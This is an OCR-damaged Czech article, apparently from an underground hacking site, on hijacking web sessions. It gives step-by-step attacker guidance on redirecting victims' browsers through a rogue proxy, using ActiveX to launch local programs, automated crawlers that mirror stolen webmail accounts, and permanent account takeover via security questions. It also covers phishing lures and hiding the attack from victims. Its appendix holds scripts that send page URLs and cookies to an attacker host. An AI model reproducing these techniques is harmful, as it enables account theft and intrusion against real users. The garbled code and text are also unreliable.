"War nOnPost " =hex: 01, 00, 00, 00

"UseSchannel Di rect | y"=hex: 01, 00, 00, 00

"Enabl eHt t p1_1"=dwor d: 00000001

" Enabl eAut odi al " =dwor d: 00000001

"Enabl eSecurit yCheck" =hex: 00, 00, 00, 00

"PrivacyAdvanced" =dwor d: 00000000

"PrivDi scU Shown"=dwor d: 00000001

"ProxyServer"="127.0.0. 1: 8080"

Pro dial-up pfipojeni je to trochu horsi. Jedna se o nasledujici registry:

[ HKEY_USERS\ . DEFAULT\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ | nt er net
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Set ti ngs\ Connect i ons]

"Def aul t Connecti onSetti ngs"=hex: 3c, 00, 00, 00, Ob, 00, 00, 00, 03, 00, 00, 00, Oe, 00, 00, \
00, 31, 32, 37, 2e, 30, 2¢, 30, 2e, 31, 3a, 38, 30, 38, 30, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, \
00, 00, 00, 00, 00, 00, a0, 9b, 95, f1, 87, d9, c0, 01, 01, 00, 00, 0O, 7f, 00, 00, 01, 00, 00, 00, \

00, 00, 00, 00, 00

"SavedLegacySetti ngs"=hex: 3c, 00, 00, 00, f 3, 02, 00, 00, 03, 00, 00, 00, Oe, 00, 00, 00, 31, \
32, 37, 2e, 30, 2¢, 30, 2e¢, 31, 3a, 38, 30, 38, 30, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, \
00, 00, 00, 00, a0, 9b, 95,1, 87, d9, c0, 01, 01, 00, 00, 00, 7f, 00, 00, 01, 00, 00, 00, 00, 00, \

00, 00, 00

" Qui ck" =hex: 3c, 00, 00, 00, 02, 00, 00, 00, 03, 00, 00, 00, Oe, 00, 00, 00, 6¢, 6f, 63, 61, 6¢C, 68, \
6f, 73, 74, 3a, 38, 30, 38, 30, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, \

00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, OO

Bordel co :o(, toto je export z registrd. V polozce "Quick" je jasné
vidét adresa a port proxy (localhost:8080). Ostatni uz si dekdédujte sami
:0)

Potfebujem tedy bud' diru, kterd pfimo umozni nastaveni proxy, diru ktera
umozni zapsat do registrl potrebné Gdaje, nebo treba diru, kterd umozni
spustit program s parametrem (mam na mysli regedit.exe). Pravdépodobné
nemUzeme ocekavat univerzalni reseni, ale tyto ¢lanky by mohly pomoct.

1. Javascript mUze zapsat cokoliv do registrd (tyka se M$IE 5.0, 5.5,
M$ uz vydal patch):
http://www.securiteam.com/exploits/SFPO80A5FM.html [10]

2. Javascript spusti na vasem pocitaci libovolny program (tyka se M$IE
>=5.5, M$):
http://www.zive.cz/H/Uzivatel/Ar.asp?ARI=103841&CAI=2105 [11].

Podle prislusného ¢ldanku mél byt na viné novy objekt popup, ktery se
vytvori metodou createpopup(). J& jsem samozzejmé nainstaloval MSIE 6.0
abych to ovéril, a zjistil jsem, Ze problém je jesté horsi, nez se v ¢lanku

piSe. Na viné totiz neni uvedeny objekt. MSIE 5.5 a vyS totiz umoziuje spoustét

nékteré activeX prvky i ve skriptech prfimo z internetu a to i v pripadé, ze
v nastaveni site -> zabezpeceni nastavite vsecky aktiveX prvky "zakazat"!!!

Jediny problém je, ze je nemUzete dat do kédu HTML primo, ale musite je vkladat
dynamicky JavaScriptem nebo VBScriptem. Kéd se pak oproti plivodnimu dost

zjednodusi:

<script |anguage="javascript">
<l--
docunent . wite(' <OBJECT NAME="X"
CLASSI D="CLSI D: 11111111-12211-122111-1112-1121112211112"
CODEBASE="c: / wi ndows/ cal c. exe" ></ obj ect>');
[]-->

</script>
Takto zjednoduseny skript si mizete vyzkouset na

http://galileo.spaceports.com/~shift/calcmsie.html [12].
Timto zplsobem se vSak daji spustit pouze lokalni programy.

| kdyz M$IE >=5.5 pokryva vice nez 90% uzivatell, dalSich 5% MS$IE

<5.5, mohli bychom se jesté podivat na netscape (coz je prakticky zbytek,
protoze mozillu, operu, konqueror atd. uz pouzivaji opravdu jen labuznici,
ktefi se vejdou asi tak do 0.3% uzivatel(). Tady je to trochu horsi. Jsou
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tu dvé dllezité véci. Netscape na M$ si také uklada informace o proxy do

registrl. OvSem nema zadnou diru, kterd by zdsah do nich umozrnovala. Na druhou
stranu obsahuje primo javascriptové funkce na zjisténi a nastaveni proxy

serveru. Samozfejmé to neni tak jednoduché. Na to, aby script mohl tyto funkce
pouzivat, musi si od uzivatele vyzadat potfebna prava. Na to je JS funkce,

ktera vyvola dialogove okno, kde musi uzivatel zvyseni prav potvrdit.

net scape. security. Privil egeManager. enabl ePri vi | ege( PozadovanaPr ava) ;

To je docela napadné :o(, ale mozna by to nékdo v zdpalu browseni odkliknul :0).

To je tedy zatim asi vSe, kdyz pominu vyuziti "klasickych" trojskych

korill. To bychom pak asi nepotrebovali tu session krast takhle slozité :0)
Kdyby vSak nékdo objevil dalsi diry nebo moznosti, jak klienta vzdalené
"donutit" k docasnému pouziti cizi proxy, budu rad, kdyz mi date védét na
adresu shift@mailbase.org [13]

4. Serverova "vykonna" cast

4.1 Manualni attack

4.2 Automaty
4.3 Trvaly pristup

Samotné ziskani sessionid je samozrejmé dllezitd véc, ale sama o sobé

je v podstaté nesSkodna. Nebezpecnd zalne byt az v momenté, kdy ji utocnik
vyuzije. O tom bude pravé tato kapitola. Méla by poukazat na to, jaké riziko
tento typ Utoku predstavuje, jak je nebezpelny, jaké jsou jeho moZznosti

a omezeni, jaké Ucinné ochrany se daji pouzit, a doufadm, Ze pfispéje k tomu,
aby se toto téma prestalo tolik podcenovat, a to i tam, kde je jen okrajovou
zélezitosti k "velkému" funkénimu jadru.

Tak jsem si udélal alibi a mdzem se do toho pustit :0)
4.1 Manualni attack

Pokud se chcete dobre pobavit, vyhlédnéte si dobry chat (vulnerabilni),

a zvolte tento typ Utoku. Spocivd v tom, Ze nasSe "serverova" ¢ast "trojského
koné" pouze pfijme ziskané informace o session, a pouze je nékam uloZi a
zpfistupni Gto¢nikovi. Ten pak informace ru¢né natuka do brovseru, a je

prihlasen pod nékym jinym. M4 to oproti ostatnim typlm vyhodu, Ze je to nejméné
prace (tak 3 radky v PHP). K néjakym rozsahlym Gtok@m je to nevhodné hlavné

ze dvou dlvodd. Kvili ¢asové naro¢nosti (¢lovék nestihne proklikat Gcet tak
rychle, jako néjaky automat), a hlavne kvdli tomu, Ze Gto¢nik musi byt on-line
zaroven s obéti a tak néjak se synchronizovat se ziskanim session informaci

(musi tfeba neustale kontrolovat misto, kam se mu tyto informace ukladaji,

nebo prichozi postu apod.). Vyhody jsou v podstaté taky dvé. Kdyz se jedna

napr. o chat, uzije si Utocnik dost legrace, ale hlavné je o néco flexibilnejsi

v prozkoumavani Uctu, a aktudlnim rozhodovani, které informace jsou dilezité.
Takovy automat vdm asi moc nezaimprovizuje :o(.

4.2 Automaty

Daleko nebezpecnéjsi typ Utoku je automat. K tomuto Gcelu vyborné poslouzi
skriptovaci jazyky spousténé na serveru (k tomu predchozimu vlastné taky).
J& osobné preferuji PHP, protoze pro tento Ucel nejlépe kombinuje vyhody
regularnich vyrazQ posix i Perlu a jednoduchou praci se vzdalenymi soubory
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pres HTTP (klient). Stejné dobre by se vSak samozrejmé daly pouzit ASP, |SP

nebo Perl. Takovy automat vyzaduje velmi dikladnou pripravu a to hlavné ve

dvou smérech. Prozkoumani vyhlédnuté webové sluzby a potom priprava vhodneho
automatu.

Pri prozkoumavani sluzby je treba se zamérit predevsim na misto prdniku

(kde a jaké informace o session ziskdme), a take na "vstupni" misto pro

automat. To proto, Ze se mize jednoduse stat, Ze misto priniku bude tak

né&jak "vystréené" ze session. Napr. zjistite, Zze mlzete infiltrovat webmail
vhodnou pfilohou. Ta se vSak normalné otevird v novém okné a bez jakychkoliv
linkd a menu kolem. Ziskané url v momenté priniku bude vypadat treba néjak
takto: http://www.freemail.com/attach.php?att=vyhra.html&sid=v3rt3445c34xr2RXr3... [14].
Primo na tomto url vSak je pouze vadmi zaslana priloha a zddné dulezité informace.
Pro automat je tato stranka k nicemu, protoze v ni nejsou zadné linky,

nic ¢im by mohl session opravdu nabourat. Je tfeba mu jeSte zadat "vstupni"

url uvnitr session. Pro nas pripad to mize byt napfr.
http://www.freemail.com/main.php?sid=v3rt3445c34xr2RXr32rfx2 [15],

kde uz budou odkazy do jednotlivych slozek, nastaveni apod. Jako prvni krok

je tedy treba pretransformovat adresu prlniku na vstupni adresu (v PHP

je to otdzka jednoho reguldrniho vyrazu). Potom uz staci vygrepovat odkazy
uvnitr session a rekursivne prochdzet obsah Uctu. V takovém pfipadé byste

méli ziskat veSkery obsah.

Takovy automat mUze byt bud vyse uvedeny (zmiroruje kompletné Gcet) a

nebo mlze byt zaméren pouze na konkrétni sekce ¢i informace (napr. osobni
info). To zélezi na predchozim prozkoumani sluzby. Samozrejmé kompletni mirror
mUze byt ¢asové pomérné narocny, zvlast tfeba u hodne "oblibenych" klientl
webmailu :0).

4.3 Trvaly pristup

Pfed tim nez se pokusite ziskat do GcCtu trvaly pfistup, byste si méli

pofadné rozmyslet, co to bude mit za nasledky. Tyto pokusy totiz témér vzdy
vedou k tomu, Ze vasim ziskanim pristupu ho ztrati plvodni uzivatel. To
mUze vést k nepfijemnym situacim a konfrontacim se spravci sluzby apod.

Je asi nesmysl ¢ekat nékde primo napsané vstupni heslo. To se vam spis

mUze stat, Zze heslo bude soucasti identifikace session (coz by v této fazi
znamenalo, ze uz ho mate ;0)). Co vsak dost pravdépodobné ziskate, je tzv.
kontrolni otdzka a vSechny dostupné osobni informace. Oboji se pouziva v
pripadé zapomenuti hesla. Dobra véc pro zapomnétlivé uzivatele, ale také

pro zvidave Gto¢niky. U nékterych sluzeb se mizete setkat s tim, Ze se pouziva
pfimo pro pfistup (napf. http://www.post.cz [8]).

Pak mate celkem idedlni pfipad. Mate staly pfistup dokud si uZivatel

nezméni odpovéd, a navic plvodni uzivatel ma pristup také a nemusi mit zadné
podezreni. Vétsinou se ale kontrolni otazka pouziva k ovéreni vasi identifikace
napr. pri komunikaci s helpdeskem, kdyz jste zapomnéli heslo a chcete ho

zaslat. Cimz také ziskate trvaly pfistup. BohuZel u serioznich serverd to

znamena, ze bude vygenerovano nové heslo, a plvodni uzivatel tim ztrati pristup.
Hesla u serioznich sluzeb se uchovavaji v jednosmerné zakryptované podobé
(hash), takze nelze pQvodni heslo zpétné zjistit (pfi ovérovani se zadané

heslo zakryptuje stejnym zplsobem a porovnavaji se hashe). Proto se v pripadé
ztraty musi zadat nové. Plvodni uzivatel se pak pravdépodobné bude snazit

o to samé co vy (nastavit heslo pres kontrolni otazku) a pokud mu to nepdjde,

tak pres osobni informace. Je tedy dobré zménit pokud mozno vSechny informace,
a doufat, Zze ty plvodni nebude mit provider v zalohach.
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5. Zamaskovani utoku

5.1 Kamufldz pred dtokem
5.2 Maskovani klientské ¢3asti
5.3 Maskovdéni serverové ¢asti

K Uspésnému provedeni popsaného Utoku jsou potreba také tyto dvé véci:
dobra kamufldz a dobré zamaskovani Gtoku, aby napadeny uzivatel nepojal
podezieni ;o)

5.1 Kamuflaz pred Gtokem

Prakticky pri kazdém typu Utoku je trfeba primét napadeného uzivatele

k néjaké akci, at uz je to kliknuti na odkaz, otevreni prilohy mailu, nebo
alespon primo otevreni mailu. Proto je potreba zvolit dobrou kamuflaz,

kterd nebude podezreld a zaplsobi na uzivatele tak, Ze prosté neodola :0).
Toto je samozrejmé otazka spiSe feknéme urcitého socialniho inzenyrstvi.

Je vSak asi dobré védét, jaké prostiedky se daji k Uspésné kamufldzi pouzit.
Samozrejmé je dobré potfebnou akci evokovat vhodnym textem (napf. klikni

a vyhraj :0)), to je na fantazii kazdého. U Utoku pres email je vSak napf.
dllezité zvolit vhodnou odchozi emailovou adresu. Rozhodné je blbost pouzivat

svoji vlastni bézné pouzivanou. Daleko lepsi je pouzit napf. adresu administratora

sluzby apod. Metodami jak poslat email z libovolné adresy tak, Zze se neda
zjistit plvodce, se tady nebudu zabyvat, mozna v néjakém jiném dokumentu.
Pokud se jedna o Gtok pres odkaz, je dllezité zvolit "co nejméné podezrelou"
adresu. Samozrejmé na malokterém webhostingu dostanete libovolnou doménu
:0(, ale dulezité je i to, vzbudit dlvéru tvarem adresy. Je dobré se vyhnout
priponam skriptl (.php, .asp, .pl, .jsp, .cgi), ty jsou samozrejmé hned
podezrelé. Kdyz neni jind moznost, je lepsi dat index do adresdare (nebo
default u asp). Adresy koncici adresarem a lomitkem vypadaji dlvéryhodnéji.
Jesté lepsi je napf. nastavit interpretaci béznych pfipon (napr. .html, .htm,
.rtf, .doc, .pdf apod), jenze k tomu potrebujete byt sprdvcem webserveru

:0(

Dllezité také samozrejmé je, aby se pokud mozno nedalo zjistit, odkud

Utok priSel. Takze je dobré si zjistit napr. co vSsechno se loguje u webserveru
apod. Maloktery web server si napr. loguje obsah dat u metody POST, takze
pokud mate moznost svUj skript poslat metodou POST (vetsinou pres formular),
tézko vas budou dohledavat podle obsahu (pokud tu nejsou jind voditka).

5.2 Maskovani klientske casti

Tohle vlastné Uzce souvisi s pfedchozim odstavcem. Dokonce to maskovani
pfipon by mélo patfit spiSe sem. Rozdil je asi hlavné v tom, Ze to co je
uvedeno vyse, je vlastné kamuflaz, kterd se tyka normalné interpretovaného
obsahu klientské ¢asti (toho co uzivatel pfimo vidi v okné prohllizece).

Ucel je tedy, aby uzivatel nepojal podezfeni, a nezatal zkoumat html zdrojak

zbytecné brzy.

Primo v klientské ¢asti je samozrejmé néjakym zplisobem zapsana adresa
k serverové ¢asti, at uz jako link, zdroj obrazku, nebo jinym zplsobem, ale

zkratka tam je. Samozrejmé i zde se daji pouzit metody z predchoziho odstavce.

Pokud vsak mate k dispozici Javascript mlzete tuto adresu pomérné efektivné
skryt néjakym Sifrovanim. Samozrejmeé to neni 100%, protoze cely Sifrovaci
algoritmus musi byt opét v JavaScriptu a bude tudiz ve zdrojaku pristupny
také. MUze to ale odradit nékteré méné zvydavé uzivatele. Je tu samozrejmé
moznost odkazu na JS z jiného souboru, tim bychom si ale na sebe vytvofili
dalsi stopu.
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Dllezita je vSak dalsi véc. Pokud je pouzit k Gtoku JavaScript, ktery

pristupuje k objektu "dokument.location" nebo "document.referrer", mdze byt
vyskyt téchto objektd v kédu také podezrely. Neni to sice stopa, ale mize

byt také uzitecné se téchto retézcl ve zdrojaku zbavit. MGzeme se pokusit
podezfivavého uzivatele zmast tim, Ze si objekty postupné a co nejneprehlednéji
ulozime do proménnych (to je vlastné standardni programovdni :0)). V takovém
kédu vSak uvedené retézce stale budou, pouze oddélené.

<script |anguage="javascript">

<- -

var aa = docunent;

var bb = aa;

var ab = aa.referer; var ac = bb;

var ba = bb.location; var cu = (3-7);
[]-->

</script>

vvvvvv

O néco sofistikovanéjsi zplsob, jak tyto retézce skryt, je pouzit velmi
uzite¢nou funkci eval(). Programatofi v perlu uz védi... Tato funkce ma jako
parametr objekt typu string (obycejny retézec), a dany retézec zpracuje jako
vlastni kéd. To ndm pochopitejné davéa daleko SirSi moznosti pro maskovani.
Napriklad se pak da i na vlastni kéd pouzit libovolné Sifrovani, pochopitelné
se stejnym problémem Sifrovaciho algoritmu, jako v predchozim.

5.3 Maskovani serverove casti

Pokud se nepodarilo vhodne zamlzit adresu serverové ¢asti Utoku, a uzivatel

ji zjistil, je tfeba ho presvédcit, Zze se jedna o neskodnou adresu. Opét

je to prevazné na vasi fantazii. Rad bych zminil metodu maskovani chybovym
kédem v HTTP hlavi¢ce. Na to skodi skoro kazdy :0). Jak se to déla? Je potreba
mit ve skriptovacim jazyce pristup k http hlavi¢ce. To je v PHP pres funkci
header(), v ASP by to mélo byt pres objekt response.header. Sem pak podstrcite
libovolny névratovy kéd s jeho popisem a do téla potom néjakou standardni
hlasku k tomuto kédu (to snadno zjistite, kdyz si telnetem zavolate libovolnou
URL, ktera vyvola tento kéd). Mezi moje oblibené patii:

HTTP/ 1.1 404 Not Found
HTTP/ 1.1 403 For bi dden

Ta 404 je trochu napadnéjsi, protoze mlze byt podezrelé, Ze je v kédu
odkaz na neexistujici skript. U 403 to aspon vypada, Ze existuje. Kazdopadné
to dost lidi uklidni, Zze to zadny Gtok neni.

Pochopitelné se ted mizeme dostat do takové smycky, ze mlze byt podezrela

ve scriptu napr. funkce eval(), nebo algoritmy pripominajici kryptovani

apod. ale kdyz se kéd napise "Uhledné" (pékné na pohled), ale dostatecné
neprehledné logicky, myslim ze to odradi hodné lidi. Takovym typickym prikladem
"Uhledné" "neprehledného" kédu jsou napr. javascripty ve strankach Microsoftu
:0)

6. Nékteré zpusoby ochrany
No dostali jsme se na konec. Rad bych tedy néjak shrnul hlavni nebezpeci
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a ochranna opatreni proti nim.

1. Faze infiltrace. Té je treba za kazdou cenu zabranit. Jak jsme videli,

k Uspésné infiltraci vede vzdy jen interpretace html, at uz tak jak bylo
zadano, ¢i néjakym vedlejsim efektem (napr. v chatu zadate adresu, a doplni
se k ni ... [16]). Této interpretaci je tedy tfeba

se za kazdou cenu vyhnout. Kamenem Urazu je nejcastéji ur¢ity kompromis
mezi pohodlim uZivatele a bezpecnosti.

2. Faze utoku. Pokud se podalfi infiltrace, neni jesté vSe ztraceno. Hodné

Gtoklm se dé zabrénit kontrolou IP adresy. Tady vSak opét u nékterych poskytovatelu
vitézi pohodli uzivatell (napf. pripojenych pres dial-up), nebo reknéme

lennost a to, Ze se spolehnou na built-in session mechanismy, které vsak

tuto kontrolu implicitné NEMAJI!

Neni na Skodu k tomu kontrolovat i referer. To by mélo omezit aspon ty

"jednodussi" manudlni Utoky. A kdyz uz kontrolovat REFERER ci X-FORWARDED-FOR,
tak vcetné toho, jestli napf. nebyly podstréeny prachobycejné v URL. Pak

by tfeba v PHP mély byt i v poli $HTTP_GET _VARS.

Tak doufédm, Ze se tento dokument taky dostane k providerdm webovych sluzeb
a néco si z toho vezmou :0)

Prilohy
Ukazky skriptt

1) Ziskani adresy presmérovanim

<script |anguage="javascript">
<l--
docunent.location = "http://matrix/?url =+ docunent.|ocation;
[]-->
</script>

2) Ziskani adresy pres obrazek

<script |anguage="javascript">
<l--
docunent . wite('<ing src="http://matrix/?url=" + docunent.location + '" w dt h=0
hei ght =0>') ;
/]-->

</script>

3) Ziskani cookies (nasledné se da odeslat predchozimi metodami)

<script |anguage="javascript">
<l--
function get Cookies() {
i f (document.cookie.length > 0) return unescape(docunent. cooki e. substring(O,
docunent . cooki e. |l engt h));

}
[]-->
</script>
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4) Nastaveni cookies

<script |anguage="j avascript">

<l--
function set Cooki e(name, value, expire) {
docunent . cookie = nane + "=" + escape(value) + ((expire == null) 2 "" : (";
expires=" + expire.toGVIString()))
}
[]-->
</script>

5) Spusténi programu kalkulacka pres activeX

<script |anguage="j avascript">
<I--
docunent . wite(' <OBJECT NAME="X"
CLASSI D="CLSID: 11111111-1111-1121-1212-21212121112111"
CODEBASE="c: / wi ndows/ cal c. exe" ></ obj ect>");
[f-->
</script>

6) PHP skript na maskovani kédem 404

<?

header ("HTTP/ 1.1 404 File Not Found");
?>

<! DOCTYPE HTM. PUBLIC \"-//I|ETF/ /DTD HTM. 2.0//EN">

<HTML><HEAD>

<TI TLE>404 Not Found</TITLE>

</ HEAD><BODY>

<H1>Not Found</H1>

The requested URL <? echo $SCRI PT_NAME; ?> was not found on this server. <P><HR>

<ADDRESS>Apache/ 1. 3. 12 Server at <? echo "$HTTP_HOST Port $SERVER PORT"; ?></ ADDRESS>
</ BODY></ HTM_>

7) Perlovsky skript na prevod hexadecimalnich hodnot z win registru na ascii znaky (1 radek !!)

#!/ usr/ bi n/ perl

while (<>) {s/(\s*[0-9a-f]{2},\\?)/chr(hex(%$1))/qge; print}

Uzitecné odkazy

Tak jésté par odkazd, nejen k tomuto tématu.

http://www.w3.0rg/ [17] - The World Wide Web Consortium, zde najdete vSechny specifikace tykajici
se HTTP, HTML, CSS, ale i Javascriptu apod.

http://developer.netscape.com/docs/manuals/communicator/jsref/index.htm [18] - Celkem kompletni
reference JavaScriptu pro Netscape, ale neobsahuje administratorské funkce, zminene ve 4.3.5

http://www.fagts.com/knowledge_base/index.phtml/fid/53/ [19] - Zde najdete uZzitecné informace o
JavaScriptu, véetne privilegovanych scriptd pro Netscape
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http://www.hotscripts.com/JavaScript/ [20]

http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/dhtml| referenc
e_entry.asp [21] - Kompletni reference dhtml pro M$IE >= 5.5

http://activex.microsoft.com/ [22] - Galerie a reference k activeX control prvkdm (pro dalsi zkoumani
kap. 3.3.5)

http://www.zive.cz/H/Uzivatel/Ar.asp?ARI=103841&CAI=2105 [11] - M$IE spusti libovolny program na
vasem disku.

http://www.securiteam.com/exploits/SFPO80A5FM.html [10] - Javascript umoznuje zapis do registrd

http://www.php.net/manual/en/ [23] - On-line manual k PHP i s vyhledavanim.

http://www.securitytracker.com/startup/index.html [24]
http://www.compro-serve.com/news.html [25]

Tento ¢lanek byl pred davnym ¢asem zverejnén i na serveru underground.cz [26] (bez narokl na
vlastnictvi), ale zde vyjde i jeho pokracovani...
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